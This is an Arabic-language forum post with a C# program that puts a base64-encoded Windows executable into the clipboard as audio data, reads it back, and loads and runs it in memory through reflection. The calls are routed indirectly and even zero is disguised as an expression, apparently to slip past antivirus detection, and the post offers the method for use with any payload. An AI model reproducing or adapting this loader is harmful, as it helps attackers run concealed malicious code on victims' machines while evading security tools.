26.12.2017 تخزين بايت اراي في Clipboard.SetAudio !!


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,857
3,967
1
حياكم الله ياشباب
نزلت موضوعي هنا من كم يوم
تخزين بايت اراي في Clipboard.SetDataObject !!

والان منكمل ومنخزن هالمرة البايت اراي في Clipboard.SetAudio
ماتعتمد على المثال اللي ضربته بالسورس وين ماكان البايت اراي
وباي شكل كان مش مشكلة ..
بعد منخزنه منحصل على الستريم من خلال Clipboard.GetAudioStream
ومنحول الستريم لبايت اراي من خلال الفانكشن ReadFully



C#:
using System;
using System.IO;
using System.Windows.Forms;
using Microsoft.VisualBasic;
namespace WindowsFormsApp58
{
    static class Program
    {
        [STAThread]
        static void Main()
        {
        Clipboard.SetAudio((byte[]) Type.GetType("System.Convert")?.GetMethod("FromBase64String",
        new[] { typeof(string) })?.Invoke(null, new object[]
        {"TVqQAAMAAAAEAA"})
        ?? throw new InvalidOperationException());
        Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")
        ?.GetMethod("Load", new[] { typeof(byte[]) })
        ?.Invoke(null, new object[] { ReadFully(Clipboard.GetAudioStream()) }) ?? throw new InvalidOperationException()
        , "EntryPoint", CallType.Get), "Invoke", CallType.Method, 10000000 - 10000000, null);}
        public static byte[] ReadFully(Stream input)
        {
            var buffer = new byte[16 * 1024];
            using (var ms = new MemoryStream())
            {
                int read;
                while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
                {
                    ms.Write(buffer, 0, read);
                }
                return ms.ToArray();
            }
        }
    }
}
 

المرفقات